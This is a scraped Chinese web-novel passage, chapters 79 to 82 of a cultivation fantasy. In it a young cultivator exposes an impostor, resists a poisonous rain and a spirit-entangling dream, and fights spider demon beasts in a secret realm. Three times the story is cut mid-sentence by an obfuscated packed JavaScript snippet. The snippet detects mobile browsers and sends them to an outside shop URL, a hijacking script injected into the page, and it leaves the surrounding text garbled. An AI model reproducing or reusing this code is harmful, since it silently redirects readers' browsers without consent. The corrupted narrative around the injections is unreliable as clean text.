而他的右臂,正是条状物缠绕的另一端。 温热的血液溅射到伏令年的面孔之上。 伏令年未有犹豫,手上发力一推。 “丹修”近乎毫无反抗之力,便这么摔落下去。 等了许久,也未听见重物坠落声。 “二丫!”温季才的低呼声将伏令年拉回现实。 她手掌收紧,感受到硌着她掌心的冰凉物什。 “傀儡。”杜钟毓靠近伏令年,捡起了地面上的“断臂”看了一眼,肯定道。 此时的断臂已不复学血肉的色泽。冰冷的木制肌理反映出它非人的本质。 伏令年摸了摸自己面颊,上面干干净净,什么都没有。 方才温热的触感似乎是她的错觉。 借着温季才的力道,伏令年从地上站起。 几人小心挪到断崖边缘,朝下方看去。 依旧是黑漆漆一片,深不见底。 身份铭牌与下方的未知产生共鸣。 “还要下去吗?”杜钟毓只是看了一眼,便觉得头皮发紧。 就见伏令年和温季才齐齐摇头。 “不了不了。” 他们还是很有自知之明的,救人什么的,就让有能力的人去吧。 “我们原路返回。”伏令年道。 不知丹修究竟是何时被替换的,原路返回,既是为了回归大部队,也是为了寻找失踪的丹修。 若不是最后“丹修”行为诡异,伏令年也难以辨认出两者的区别。 想到此,伏令年又摸索了一下被她藏至袖口内的金属戒指。 ——这是方才假丹修塞入她手中的事物。 那时,两人贴的很近,伏令年听到了一道陌生的声音。 “不要被祂看见了。” 少年含着笑意的嗓音至今依旧在她的耳侧回响。 “种子要发芽了。” 79. 万霭之幽(六) 秘境之外,三支小队成为了众人重点关注的对象。 看着伏令年几人跟随着“丹修”不断接近危险的边缘,东境各门派长老面色微沉。 在他们看来,这一支小队怕是要全军覆没。 境界低的修士被蒙蔽,他们却不难看出,丹修早就已被替换了。 虽然,一支边缘小队的出局不会引起四境大会格局的变化,也不会损失多少积分。但长老们心中还有其它担忧——若是他们也被神不知鬼不觉地替换,再重新混入大部队中,怕是会搅乱局势。 这样的手段在以往也曾出现过,一旦成功,最终都会造成极大的影响。 “昆仑宗的弟子还是如以往一般直爽热心。”合欢宗的一位长老笑眯眯地点了一句。 这话似褒实贬,说好听点是直爽热心,说难听点不就是在骂他们缺心眼吗? 合欢宗和昆仑宗也算是相互有世仇的宗门。 若说从前修无情道的断岳殿弟子是首要迫害对象,以修剑闻名的昆仑宗便是他们的第二迫害对象。 多少剑修惨遭毒手,以至于坊间都流传着不少与之相关的奇闻故事。 就在众人各怀心思之之时,异变再生。 看似被牵着鼻子走的伏令年忽然反水,“丹修”的伪装被识破。 弟子们看着伏令年一把拽住了即将坠下悬崖的“丹修”,听到了她那句“脚很好看,平时有保养吗。” 原本紧张的氛围瞬间变得古怪起来。 “你们昆仑宗似乎更变态一些。”不知是哪一宗门的弟子小声说。 昆仑宗的弟子们:“……” 他们低着的头,终究还是断了。 几番反转,伏令年一行人最终逃离了险境。 他们并不打算到断崖下探查。 “还算机警。”昆仑宗长老们总算放下心来。 就怕他们初生牛犊不怕虎,白白丢了性命。 有几位弟子大着胆子扭头,望向位于首座的娄烨。 他嘴角依旧是上翘着的,眼底却未见分毫笑意。 队伍未作耽搁,立即返程。 然而,事情总与愿违。 “滴答。” 皮肤上传来点点寒意。 伏令年脚步渐缓,疑惑地抬起脑袋。 “滴答。” 一滴雨水落在了她的面颊上。 雨水? 是的,雨水。 不知何时,天色完全暗了下来。 一滴滴雨水透过枝叶缝隙滴落,坠入泥土当中。 伏令年用指尖抹去雨水,忽地蹙起眉头。 皮肤上隐隐传来的灼痛感在告诉她。 ——这并非是普通的雨水。 雨势渐大,从雨滴变为了雨线,连绵不断地往下坠落。 即使有枝叶遮挡,依旧有密集雨珠砸落,浸润了脚下的土地。 这里的气候湿润,会下雨并不奇怪。 然而,下的雨有腐蚀性,便很不美妙了。 “雨水有腐蚀性。” 伏令年一边在身周撑起灵力护罩,一边提醒道。 雨水滴落在护罩上,滋滋作响,竟将由灵力凝成的护罩都腐蚀出了一个缺口。 伏令年急忙调动灵力,填补缺口。 这雨来的突然,打了几人一个措手不及。 直到所有人皆撑起护罩,雨水已经连成雨幕,淅淅沥沥。 体内的灵力在不断流逝。 每一刻的消耗对于金丹期修士而言,并不算得大的消耗。 可日积月累,滴水穿石。持续积累起来,也十分可观。 伏令年下意识吸纳周遭的灵气,以补充消耗的灵力,却又是心下一惊。 被吸入经脉中的灵气并未如同以往般被转化为顺服的灵力,反而在经脉中横冲直撞起来。 缕缕黑烟从灵气中逸散,随即渗入伏令年的血肉当中。 速度之快,伏令年甚至未来得及作出反应。 黑气所过之处,寒意随之蔓延。 若是积蓄过多,血肉恐怕都会因此冻结。 伏令年操纵灵力,想要捕获消除渗入体内的黑气。 无奈黑气狡猾,几次尝试,竟未有成效。 黑气时而穿梭于血肉中,时而又在灵力中游走,使得伏令年体内的灵力运转生涩。 就在身体的不适感愈来愈强烈之时,丹田处忽有一股暖流传出。 成型许久的金丹散发出莹莹的光芒,经脉中的灵力皆在金丹的吸引下涌入其中。 与结丹时不同,金丹并未将涌入的灵力吸收殆尽。 灵力在金丹中周转一圈,随之流淌而出。 经过金丹的灵力更加精纯,运行也更加自如。 黑气亦随之被吸入金丹中,完全消融。 随着时间推移,暴雨非但没有停止,反而有越来越大的迹象。 雨幕之中,周遭同伴的身影也逐渐模糊。 耳中充盈着雨水的声音,风雨连绵,草木弯折。 周遭的一切都被笼罩在迷蒙当中,连带着五感也逐渐迷乱。 脑海中忽有剑鸣声起,伏令年精神一振,忽感不对。 她加快步伐,想跟上领队之人的步伐。 手持司南的是温季才。 他似乎完全未注意到伏令年的接近,依旧循着司南向前走。 而他手中的司南的勺柄正不断转动着,时而指北,时而指南,混乱异常。 伏令年心中一紧,快步上前,一把攥住了温季才的衣袖。 温季才身躯一颤,另一只手横劈,被伏令年挡了下来。 “是我。” “二丫?”他这才如梦初醒般,瞪大了眼睛。 他显然还未完全放松警惕。 毕竟有假扮丹修的未知修士在先,得多加小心才是。 身后几人发觉前方不对,急忙靠近。 伏令年指着司南,面色有些凝重:“你们看。” “司南坏了?” 温季才这才像是刚发现一般,死死盯着手中乱转的司南。 “它已经乱转很久了。”伏令年说着,盯着温季才的眼眸。 温季才微微一怔,下意识道:“不可能…我…”他止住了话头。 杜钟毓接过司南,检查了一番后,摇头道:“司南没坏。” “那怎么会…”伏令年顿了顿,两人异口同声道:“是卜术。” 杜钟毓点了点头:“卜术被干扰了。” 此结论一出,众人皆陷入沉默当中。 他们仗着有司南指路,才敢行远至此。原本想着手握司南,随时能够寻回原路。然而,暴雨到来,司南失效,他们已完全迷失了方向。 如今,他们有些进退两难了。 前进是未知与危险,可后方也再无返回的余地。 舒了口气,伏令年拍了拍手上的雨水,下定决心道:“向前走吧。” 无论如何,总比在原地等待未知好。 这场暴雨不知道要下多久,他们需要寻找能够避雨的地方。 原本收拢在小范围内的神识散开,伏令年最大限度地延伸神识,探索前路。 …… 东境驻扎处。 靠坐在巨树下打坐的孟如烟睁开了双眼。 “都回来了吗?”她看着面前的弟子,问道。 她修为已是金丹后期,距离突破只是临门一脚。 她此次未跟随主力小队探索,而是留下来坐镇,以防意外。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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运气好,他们可以击碎身份铭牌被救,离开秘境。运气不好,他们或许会死去。 若只是小队失踪,他们还能等待。可如今宋予卿卜算天象有异,此处恐有异动。孟如烟即使有私心,也无法弃东境集体于不顾。 她侧头望向宋予卿。 “宋道友可否推测他们的方位。” 宋予卿摇了摇头。 这是一个更坏的消息。 “他们只是金丹初期的修士。”廖停雁微微挑眉,似是有些不解。 她的语气随意,金丹初期弟子在她眼里仿佛是一粒尘沙。 孟如烟皱起眉头:“他们都是我昆仑宗的弟子。” 就在这时,宋予卿微微抬手,掌心浮现出一道道符文。 随即,符文汇成线条,似在指引方向。 宋予卿闭上眼眸,片刻后,再度睁开。 “他们或许是误入了迷境。”秘境之内,还存在许许多多个独特空间。又被称之为秘境。 通俗易懂地说,就是秘境中的秘境。 在这种情况下,即使是卜术也无能为力。 这或许就是宋予卿无法推测他们方位的原因。 “师姐,从师兄拥有赤霄剑,定然不会出事的。”一位弟子在旁边悄声安慰道。 “希望。”孟如烟摸索着剑柄,低声回答。 莫名的,她也有了些底气。 却不是因为从承言。 孟如烟脑海中莫名浮现出伏令年的面孔。 总觉得,有她在,一切事情都会有意料之外的结果。 她垂眸思索,却未留意到几步之外的廖停雁眸光闪动,指尖微微收紧。 待众人启程之时,廖停雁又恢复了原来那副清冷的模样。 她回到百药谷弟子所聚集的驻地。 廖停雁抬眸,正好与不远处的绿裙女子眸光相对。 两者目光相触,廖停雁不易察觉地点了点头。 “出发吧。”她向百药谷的弟子们发出了指令。 80. 万霭之幽(七) 夜色,水波,树影。 枝叶摇曳,水波轻荡。 残破的月色洒落于光洁的肌肤上。 伏令年迷茫地睁开眼睛。 身体似乎浸润在水中,随着水流涌动,轻轻地飘荡。 意识到自己身处水中的那一刻,伏令年身体顿时紧绷。 身体猛然下沉,凉意瞬间席卷整个鼻腔。难以言喻的压迫感在鼻腔中蔓延开来,无形的水流仿佛变成了有形之物,挤压着鼻腔中的每一寸空间。 深入脑海的痛楚由鼻端蔓延开来,伏令年不敢呼吸,也无法呼吸。 她挣扎着试图起身,脚却触碰不到坚实的地面。 身体受浮力的影响,无法保持平衡。 她堂堂一个修仙者难不成就要溺死在水里了? 脑海中的想法一闪而过。 对了,她是修仙者啊。 伏令年试图运行体内灵力,却发觉空空如也。 体内竟无一丝灵力。 这样的想法让伏令年的脑海一片空白。 就在这时,她挥动的手触碰到了什么。 柔和的力道至手腕处传来,伏令年被从水中拉了出来。 睁开双眼,迷蒙的水色中,伏令年看见了一道紫色的身影。 伏令年看不清他的面孔。 直到这时,伏令年才发觉,自己正坐在水中。 水并不深,若她站起身,甚至无法没过她的膝盖。 “你是谁?”伏令年问。 面前的紫色身影没有回话,却猛然靠近。 两人近乎鼻尖相贴。 伏令年下意识往回退去,却撞上了什么事物。 “你来了。”少女的声音从伏令年的后方传来。 伏令年转头,眉心一跳。 一张模糊的面孔,就这么紧贴着伏令年的颈侧。 此时,伏令年正以一个极其诡异的姿势被两人夹在中央。 姿势暧昧,然而,伏令年却感觉不到一丝缠绵。 一睁眼看见两张模糊的面孔,无论是什么氛围都荡然无存了。 柔软的事物顺着她的身躯盘绕往上,似是柔弱无骨的长蛇。 麻痒的感觉在相触的肌肤上相继绽开,伏令年感到自己的四肢不受控制地颤抖起来,它们似乎也在变得柔软,不断延伸,深入土地。 就像植物的根系扎入大地,伏令年正在与土地、与面容迷糊不清的两人融为一体。 就在这时,伏令年逐渐冰冷的胸膛忽地生出滚烫之感,灼热烫人。 伏令年猛地起身,睁开了眼睛。 “碰。” “哇啊!” 伏令年和杜钟毓两人各自捂着脑袋,各自吸着冷气。 胸口还在发烫,伏令年下意识摸了摸,从衣服中抽出了一条项链。 项链的顶端,银色的晶石正散发着月华般的光芒。 “小师叔?” 她下意识道。 这是裴知许赠予她的生辰礼。 自打收到后,伏令年便一直贴身携带着,权当作饰品。 “什么小师叔?”温季才的声音在一旁响起:“你烧糊涂啦?” 伏令年有些迷茫地抬眸,才发觉自己身旁已围了一圈人。 “你们这是做什么?”伏令年奇怪道。 “你没感觉吗?”从承言担忧地看着伏令年:“你高热了。” 高热? 这在修仙界还真是个小众的词汇。 修仙者身体素质比起凡人来要强许多,特别是筑基以后,凡间的疾病近乎无法侵扰他们。 伏令年如今都金丹期了,哪还有高热一说。 杜钟毓眼睛泛红,揉着自己的额角:“真的,你额头可烫了。” “或许是吸入了过多有毒的灵气,神识消耗过大所致。”高墨贤推测道。 几人此时正躲在一个小石窟中。 一个时辰前,他们还在暴雨中寻找出路。 伏令年大幅度消耗自己的神识与灵力,终于探寻到了一条出路。 最终,他们都挤在这小石窟中,暂作休整。 神识消耗过大不同于灵力可以吸收灵气恢复,伏令年只感到头疼欲裂,因此缩在角落睡了过去。 再然后,伏令年便做了那样一个诡异的“梦”。 想到此,她下意识摸索了一下身旁。 身后不知何时被垫了几层干净的衣物。 是普通的昆仑宗弟子服饰。 “多谢。”伏令年道。 “和我们客气什么。”温季才凑上前,用手背轻轻碰了碰伏令年的额头。 “还是很烫。”他有些凝重地道:“你刚刚睡得可死了,我们靠近都没有反应,我还以为你昏过去了。” 实际上,也差不多。 伏令年刚刚或许的确是昏过去了。 她不觉得那场“梦境”是真正的梦。 若不是小师叔给予的项链将她唤醒,她恐怕很难靠自己从梦中醒来。 伏令年有种强烈的预感,若是未能及时苏醒,她恐怕会与未知的事物产生联系。 “阿九呢?”伏令年环顾四周,没见着阿九,问了一句。 “她说…”温季才揉了揉额角,有些不确定地道:“她说,要去捡木头?” 伏令年点了点头,将手伸进衣袖内摩挲了一下。 戒指粗糙的质感在指尖流转,神识海再有触动。 在戒指被塞入她手中之时,神识海的任务便出现了变动。 【任务进度: ①消除被袭击者掌握的毛发血肉(1/3) ②利用钥匙进入迷境】 利用钥匙。 这是否代表着,这枚戒指便是钥匙。 若不是任务提示,伏令年决然不会将这不知效果的戒指收在身上。 可即便是她有所警惕,还用灵力形成屏障隔绝戒指,依旧是中了道。 虽然看不清面容,但伏令年的直觉告诉她,那两人就是在长乐坊袭击她的双生子。 戒指的存在让伏令年感到不安,但她无法和他人诉说。 假丹修掉下断崖之前的那句“不要让祂看见了”一直在她脑海里回响。 伏令年不知道“祂”指的是什么,但只要想到此,她便觉得寒毛直竖,只感觉周遭空气中似乎有一双双无法看见的眼睛正在注视着她。 她似乎是摆在台面上的木偶,被人牵引着她前行,却不知前路是何方。 迷迷糊糊间,伏令年眼前昏暗,又陷入了沉睡。 这一次,她并未做奇怪的梦。 神魂似乎飘浮在身体上空,不着实地。 身体似乎处在火炉当中,火舌跳动着,炙烤着身体。 伏令年突然清醒了一些。 环顾四周,天空是黑色的,一颗颗“星辰”点缀于上。 它们按照一定的规律旋转游动着。 伏令年看了一会,脑海中浮现出杜钟毓的那册古籍。 让人眼花缭乱的阵眼图案在伏令年脑海中流动排序,逐渐组成了她记忆中的模样。 就在这是,伏令年惊讶地发现,天空中自由自在不受控制的“星辰”竟随着她的所思所想,亦跟着移动起来。 形成阵法的星辰连成一线,散发出莹莹的光芒。 能量在其中流转,伏令年只觉得,由于过度消耗神识而产生的疲倦与疼痛皆一扫而空。 精神越发亢奋,伏令年如同得到了新奇玩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14032984|131734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 具的孩子,不断推动着“星辰”组成不一样的形状。 直到再次感到疲倦,伏令年才停下了“手”。 星辰失去控制,再次四散开来。 散开的星辰变得黯淡,唯有一颗依旧亮眼。 伏令年从那种玄妙的感受中挣脱起来,彻底清醒。 不知何时,她已然沉入了神识海中。 【九十年义务修仙系统提醒您】 【第三学期任务: ⑤点亮七星杓阵(1/3)】 伏令年粗略读过系统给的《聚魂功法·进阶》,里头关于如何点亮七星魁阵的描述十分玄乎。 因此,她只粗略阅读了一下,便暂放在一旁了。 却不想误打误撞之下,竟就这么点亮了七星魁阵的第一颗阵眼。 据功法所述,七星魁阵是七星阵的一部分。 七星阵共由天枢、天璇、天玑、天权、玉衡、开阳、瑶光七个阵眼组成,魁阵与杓阵两个分阵环环相扣。 伏令年点亮的那颗阵眼名为瑶光。 位于七星阵的末梢。 此阵眼被点亮,也意味着七星阵被点亮。 同时,这也意味着伏令年对神识的修炼进入了新的阶段。 欣喜过后,伏令年将注意力转移到了神识海的其余地方。 神识海的角落,自桃源村以来一直沉寂的嫩芽伸展着枝条,已然抽条了不少。 或许无需多久,它会再次成长为幼树,甚至是苍天巨树。 伏令年最后看了眼幼苗,记住了它如今的模样。 她决定,从今日以后,每天都到神识海中探查一二。 数次遭遇让她对这看似无害的幼苗产生了强烈的危机感。 她总感觉,自己似乎在与什么事物融为一体。 睁开双眼,伏令年看见了一片火红。 火舌扭曲着空气,热浪席卷而来。 她撑着身体坐起,发现她不知何时已经滑到了地上,身上盖着一层薄薄的衣裳。 四周静悄悄的,唯有火焰燃烧的噼啪作响之声。伏令年动作间,衣裳滑落,发出细微的动静。 一道熟悉的气息靠近,阿九的面容出现在伏令年面前。 她没说话,凑上前用面颊贴了贴伏令年的额角。 “不热。”她道。 “你醒了?”在一旁摆弄着司南的杜钟毓惊喜道。 伏令年环顾四周,却未见温季才几人。 “雨停了。”杜钟毓解释道:“他们去周围探路。” 伏令年站起身,拍了拍衣裳上沾着的土灰:“他们去了多久了?” 杜钟毓想了想,掰着手指:“约莫,有半个时辰了。” 先前为了避雨,一行人狼狈逃入小石窟,谁也没来得及查看。 如今温季才一行人还未回来,闲着也是闲着。 于是,伏令年收拾了一下自身,便探索起小石窟来。 石窟空间不大,十分昏暗。唯有洞口勉强透入微弱的光芒。 伏令年缓缓行走着,右脚忽然踩到了什么事物。 伴随着“咔嚓”一声脆响,伏令年看向脚边。 断裂的白骨散落于脚旁。 伏令年俯身,捡起其中一块。 指尖微微发力,碎骨随之化作齑粉。 “被风化了吗?”伏令年轻声嘟囔了一句。 正常而言,生物的骨头不会如此脆弱。 抬腿,伏令年正想将脚挪开时,忽地皱起眉头。 鞋履之下,一团白色的粘连其上,随着移动不断延长。 耳边有窸窸窣窣的动静。 伏令年猛然抬头,漆黑之中,一排血红的眼珠悬挂于上,正一眨不眨地注视着她。 81. 万霭之幽(八) 灵力聚集至眼部,伏令年看清了那黑影的模样。 那是一只磨盘大小的蜘蛛状妖兽,六目八足,身体上布满富有金属光泽的纤细钢毛。 妖兽红色的六目泛着血色的光芒,射出的目光冰冷而嗜血。它的口器不断蠕动,涎液顺着口器流淌而下。 伏令年扭身,就地翻滚一圈。 背后,口涎滴落一地,发出十分不妙的滋滋声。 妖兽的口涎具有腐蚀性。 眼角余光看见黑影晃动。 阴风随之袭来。 伏令年再次翻滚一圈,肌肤硌到坚硬的碎石,有些疼痛。 单手撑地,伏令年借力弹起。白玉剑随之浮现于右手。 一剑出,携着浓郁的灵力,朝紧随而来的妖兽刺去。 锐利的长剑蹭上妖兽坚硬的表皮,竟未能直接没入。 妖兽的身躯坚硬光滑,剑锋划过,无法着力。 伏令年一剑斩出,未达到效果。她当机立断,推动灵力催发剑气打入妖兽体内。 收剑后撤,伏令年连着退开三步,背后便靠上了石壁。 此处空间太小了,对伏令年十分不利。 脚底黏糊糊的触感还在,鞋履每一步都与地板粘连,让她不得不耗费更多的力气去挣脱。 妖兽仰起口器,似乎在发出尖叫。 然而,伏令年并未听到声响。 下一秒,一团散发着腥臭气味的黄绿色黏液从妖兽的口器中射出,朝伏令年的面门而来。 伏令年急忙扭身躲闪,黏液落于石壁之上,发出腐蚀的滋滋声,白烟随之升腾。 刺激性的臭味更加浓烈。 妖兽并未停下攻击,它不断吐出具有腐蚀性的黏液。 伏令年无法近身,只能在越来越狭小的空间内不断躲闪。 就在这时,一道黑影浮现在妖兽身后。 阿九手中沉重的长剑落下,看似缓慢,却转瞬便到。 巨响之中,长剑狠狠砸击在妖兽的背部,将它的细长的节肢都压弯于地。 妖兽身体抖动,奋力挣扎。 待它挣脱了阿九的桎梏,便狰狞着就待扑咬向阿九。 然而,一道凌冽的剑光随之而来。 如弯月般于空中划过一个弧度,白玉剑在伏令年的操纵下,斩向妖兽那一排血红的眼眸。 伴随着血肉撕裂的声响,绿色的血液顺着伤口处喷涌而出。 血液沾染到剑刃之上,伏令年立即感到灵力在快速流逝。 妖兽首次负伤,彻底激起了它的凶性。 它完全放弃了阿九,滑动着节肢朝伏令年而来。 几只未被损坏的血色眼眸死死盯着伏令年,目光透着凶残嗜血的寒光。 腥臭的涎液和血液随着它的动作滴落于地,连成一片。妖兽所过之处,白烟蒸腾,泥石消融。 面对如此景象,伏令年似乎只有暂避锋芒。 然而,伏令年却并未后退。 与之相反,伏令年脚下发力,竟就这么直直朝妖兽扑了上去。 在即将被妖兽节肢刺中的下一刻,伏令年腾身跃起,如林间飞燕般腾空而起。 身体在极短的时间内翻转一圈,伏令年足尖正好落于妖兽的头顶。 看似毫不费力的一踩,妖兽身体却因此猛然下沉。 伏令年这一脚并不如表面那般简单,其中蕴含的灵力从金丹内抽取而出,瞬间便倾泻了腿上经脉的所有灵力。 经过刚刚几番争斗,伏令年看出了这妖兽的大致弱点。 这妖兽身躯巨大,尤其是腹部明显下坠。节肢过于细长,这让它行动不够敏捷,无法快速转身锁定猎物。 同时,妖兽的表皮虽然坚固不易破开,眼睛却缺少保护。 伏令年便是从这两处着力,以置这妖兽于死地。 墨绿色的鲜血不断从伤口处奔涌而出,伏令年和阿九二人配合默契,将妖兽牵制着无法施展。 最后一剑,伏令年透过妖兽眼部的伤口,长剑直接没入其中。 剑身颤动,剑鸣声起。 一股极具攻击性的灵力顺着剑身涌入妖兽体内,搅碎了妖兽的大脑与内脏。 细长的节肢终于再无法支撑妖兽臃肿庞大的身躯,轰然倒地。 抽动了几下后,妖兽没了声息。 伏令年忍着恶心靠近,正想要剖开妖兽身体取出晶核之时,却听见杜钟毓有些尖利的声音。 “妖兽!妖兽!” 她不像是会被妖兽尸体吓成这样的人,伏令年心中如此想着,顺着杜钟毓的目光看去。 这一看,差些没让她也跟着尖叫一声。 不知何时,小石窟之上,一排排眼珠正阴恻恻地盯着下方。 怎得突然有如此多妖兽?! 再定睛一看,这些妖兽比伏令年和阿九杀死的这只要小了许多。 这么想着,伏令年忽感脚上有粘腻之感。 垂头瞥了一眼,妖兽尸体的腹部居然裂开了一条缝隙,一条长长的节肢从中探出。 节肢看上去还很细嫩,却轻易地划开了妖兽尸体的腹部。 随之涌出的,是墨绿色的鲜血以及混杂着的黏液。 伏令年眼睁睁望着几只缩小版本的妖兽从尸体臃肿的腹部中爬了出来,密密麻麻地挂于尸体之上。 是了,为何这妖兽身体臃肿,行动缓慢。 因为它是一只怀了幼崽的妖兽。 这样的想法和画面让伏令年脑袋一阵发麻。 颤动的幼小妖兽附在“母亲”的尸体上,居然就这么啃食起来。 伏令年抬头环顾四周,突然从储物空间中取出一个两根条状的事物。手上白玉剑没入妖兽体内,将妖兽的脑袋完全剖开。 随即,伏令年以极快的速度夹起那颗明显不凡的晶状物,扭身就跑。 “快走!”她短促地提醒了一句。 若再不离开,她们被困在其中,只能落得个被吞噬的下场。 还没等杜钟毓做出什么反应,阿九便将她提起,再度甩到了肩上。 三人头也不回,往小石窟的出口处奔去。 背后沙沙声起,伏令年神识往后探查,便知是妖兽们跟随而来。 经过燃烧着的火堆旁,伏令年心下生智,脚伸入火堆之中,一团火焰随即被伏令年踢出。 火焰诡异地膨胀,沿路上皆留下零星的火苗。 它们并未由于缺少助燃物而熄灭,反而越胀越大,组成了一道火墙,近乎要缭到石窟的顶部。 幸运的是,这一招的确有效。 妖兽也算是野兽的一种,是野兽,自然也怕火。 在如此凶猛的火势下,它们的脚步稍稍被阻碍。血红色的眼珠中首次显露出畏惧的神色。 趁着这个当儿,伏令年三人冲出了石窟。 首先涌入鼻腔的是雨后泥土被浸润的独特气味,湿湿甜甜,十分清新,让人没来由地感到放松。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14062352|131734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >外头难得不再是密林环绕之景。 零星几棵绿植从石缝中钻出,伸展着枝叶。 大块泥石矗立着,形成环绕之势。周遭没什么遮掩物。 伏令年放开神识,延伸探寻周遭,以寻找逃跑的出路。 点亮瑶光阵眼后,神识不但更加强大敏锐,甚至还能够大致感应周围生物的情绪。 背后的妖兽们充满了恶意,神识继续往外延伸,伏令年却意外地感受到了更加强烈的恶意。 恶意近乎是铺天盖地地席卷而来,将伏令年完全包裹于其中,甚至让她产生的些许的僵硬。 她脚步渐缓,阿九和杜钟毓立即发现了不对。 “怎么了?”杜钟毓有些担忧地问道。 阿九则似有所觉般抬头望向伏令年察觉到强烈恶意的地方,也停下了脚步。 “有妖兽在向我们靠近。”更加强大的妖兽。 两侧是往上方延伸的崖壁,背后是石窟,前方是未知的危险,他们似乎无路可逃。 在石窟内,伏令年杀死的那只妖兽大约有筑基七阶的修为,且因为生育能力有所下降。 而筑基期与金丹期之间,有着一条难以跨越的鸿沟。 因此,伏令年才能在毫发无伤的情况下将其解决。 而神识感应到的新一批妖兽,比起石窟内的只强不弱,甚至可能达了金丹期。 妖兽与人类修为境界的测量方式并不完全相同。 相同境界下,妖兽往往会比人类修士更加凶残强大。 鲜血与受伤带给它们的,是更多的疯狂。 除了自身的困境,伏令年心中还有其它的忧虑。 温季才几人离开许久,不知是否也遇到了险境。 不过,无论如何,先得离开此处。 “我们御剑飞上去。”伏令年道。 脚踩白玉剑,伏令年腾空而起的下一刻,便看见了那散发出强烈恶意的妖兽。 让她意外的是,这只妖兽的体型要比石窟中死去的妖兽小了许多,泛着彩光的外壳光滑锃亮,细长的节肢尖端泛着让人心生不妙的墨绿色泽。 不用尝试,伏令年也能猜到上面定是含有剧毒。 在这只妖兽的背后,还跟随着许许多多磨盘大小的蜘蛛形妖兽。 随着离地距离增加,伏令年悄然松了口气。 然而,当看见阿九两人的状况之时,伏令年顿感额头冷汗直冒。 两人脚下的长剑歪歪扭扭地升空,竟是一副随时都要坠机的模样。 伏令年没曾想阿九居然是个不擅长御剑的,立即降下剑身,想要接替两人。 然而,下方早已虎视眈眈的妖兽们在此时有了行动。 雪白的蛛丝从它们的口器中喷出,粘住了还未完全升空的长剑。 阿九和杜钟毓身体猛然摇晃,被往下拽去。 领头的小个妖兽一跃而起,锐利的节肢闪着寒光。 它的弹跳能力惊人,只是轻巧一跃,便逼近了两人。 幸而伏令年在此时赶到,她出剑格挡,普通铁剑与妖兽的节肢相撞,发出清脆的鸣声。 手腕一阵发麻,伏令年心下微沉。 角力不过片刻,伏令年便感到手中之剑有损坏的征兆。 有了如此推测,伏令年手中长剑忽地燃起火光。 妖兽发出一声怪叫,伏令年趁机发力,将长剑送入妖兽怀中。 妖兽向下坠去,长剑随即爆裂开来,火星四溅。 82. 万霭之幽(九) 伏令年知道,这对于妖兽而言可能连轻伤都算不上。她并未纠缠,反身点燃了缠绕着阿九长剑的蛛丝。 情况依旧危机,坠下去的妖兽只是一时受挫,随时可能重振旗鼓。 “你们往上飞!”伏令年决定以身犯险,掩护阿九两人上到山崖之上。 压低高度,伏令年一边吸引着妖兽们的注意力,一边多次避过蛛丝的攻击。 然而,下方的妖兽众多,一次闪避不及,伏令年脚下一沉,身体险些往下追去。 白玉剑的剑柄处,一团乳白色的丝线粘连于上。 剑身火焰燃起,伏令年再施展旧计,想将蛛丝点燃。 然而,让她意外的是,此次的蛛丝并未如她所愿般迅速燃烧。 火焰炙烤着蛛丝,周遭的空气都扭曲起来。然而,蛛丝却未见丝毫绷裂之势,依旧紧紧地缠绕于白玉剑的剑身。 伏令年视线移动,锁定了下方吐出蛛丝的妖兽。 它腹部隆起,比周围的妖兽都要大了不少,看上去更为强壮剽悍。 这似乎,也是一只实力与怀孕妖兽相当的妖兽。 眼见着身体在不断地下坠,此时,伏令年似乎只有弃剑逃跑这项选择。 伏令年储物空间内还存着不少普通的长剑。 然而,就在伏令年做出行动之前,脑袋上空忽传来熟悉的嗓音。 “二丫!” 是温季才和从承言御剑而来。 下一瞬,伏令年便停下了伸向储物空间的手。 她跃上温季才的剑背,转手拽住了被蛛丝粘连着的白玉剑。 “往上飞。”伏令年说了一声,随即开始专心致志地抓握手中的白玉剑。 秘境之外,近乎是每位修仙者都遇见了暴雨来临。 雾霭之幽的暴雨并非一般的雨水,雨水中蕴含着未知成分的毒素。 在暴雨之中,灵力会被腐蚀,空气会被污染。 若长期吸入被污染的空气,修仙者将会遭遇疾病的侵扰,甚至神志不清。 暴雨十分危险,不过,对于聚集了强大修仙者的队伍来说,这并不算是无法抗拒的灾难。 会在暴雨中率先出局的,不是无组织的散修,便是落单的弱小弟子。 若说落单的弱小弟子,伏令年一行人可正是符合这个名头。 他们一队的实力太过弱小,出局近乎不可避免。 “还是太过年幼了。”一位长老摇头叹道。 全队都是刚刚晋升金丹期的小修士,唯一一位能炼制解毒丹的修士又不在队伍当中,再加之与队伍走散,怎么看都没了希望。 因此,众位长老们也并未将过多精力放于伏令年一行人身上。 却未想伏令年一行人竟有幸找到了石窟,在其中避过了暴雨。 伏令年昏睡之时,温季才、从承言以及高墨贤三人在雨停后外出探路。 近乎是在雨停后的不久,原本苦于寻找不到妖兽的修士们近乎都遭遇到了袭击。 妖兽如同雨后春笋般从各处冒出,给修士们带来了不小的冲击。 “他们运气真不错。”看着伏令年一行人寂静的画面,有弟子小声地嘟囔。 昆仑宗丹峰峰主姜迎却微微摇头。 以她的境界和眼界,如何不能看出这小石窟的古怪。 内部的空间,必然不是自然所能形成 只可惜伏令年几人修为眼界不足,未能有所察觉。 